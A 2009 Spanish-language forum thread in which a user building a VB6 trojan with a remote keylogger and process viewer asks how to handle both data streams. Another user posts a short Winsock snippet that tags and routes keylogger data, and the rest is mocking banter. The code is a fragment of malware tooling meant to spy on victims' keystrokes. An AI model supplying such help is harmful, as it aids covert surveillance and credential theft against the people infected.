problema en ws_dataarrival

Iniciado por elguast, 13 Enero 2009, 17:07 PM

0 Miembros y 1 Visitante están viendo este tema.

elguast

hola buenas tardes mi problema es que estoy haciendo un troyano en vb6 en el cliente tengo un texbox que me muestra las teclas pulsadas y un listbox que me muestra los procesos de la maquina remota..las teclas me funcionan bien hago esto para recibirlas:
en data arrival

dim datos as string
ws.getdata datos
keylogger.text = keylogger.text + datos

pero para obtener los procesos como lo haria?

he visto muchos ejemplos y me funcionan solo si quito lo de obtener las teclas o si no, no funciona  :rolleyes:

krackwar

#1
Obviamente por que en ese codigo todo lo reicivido lo pones como tecla , te recomiendo que aprendas a programar antes   ;).

Repondiendo a tu pregunta:
Pon este codigo en data arrival:

Código (vb) [Seleccionar]
dim datos as string
dim variante as variant
ws.getdata datos
variante = split(datos,"|")
if variante(0) = "KeyLogger" then
keylogger.text = keylogger.text & variante(1)
else
'Si no es "KeyLogger" realisar otra cosa :P
end if


y mandas asi los datos pàra el keylogger:
Código (vb) [Seleccionar]

ws.senddata "KeyLogger|" & datos a enviar para el keylogger

Edit: Abia un error en el code me confundi y cerre el if como en asm xD
Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

70N1

70N1

krackwar

Cita de: 70N1 en 15 Enero 2009, 19:05 PM
JAJAJAJAJA.

Uno tiene que leer mas y el otro da codigos sin explicacion. mmmmm

Siendo sincero no creo que ni lea las explicaciones asi que para que molestarme ademas estoy en un resort ( asi se escribe?  :xD ) y no voy a preferir explicarle que estar en la picina  :xD :rolleyes:


Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

elguast

de todas maneras tu code ese no me funciona asin que no hace falta que expliques nada.

krackwar

Cita de: elguast en 16 Enero 2009, 21:56 PM
de todas maneras tu code ese no me funciona asin que no hace falta que expliques nada.

Entonces tio es la hora que te leas un manual de VB y no que estes jugando a ser programador.
Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

70N1

70N1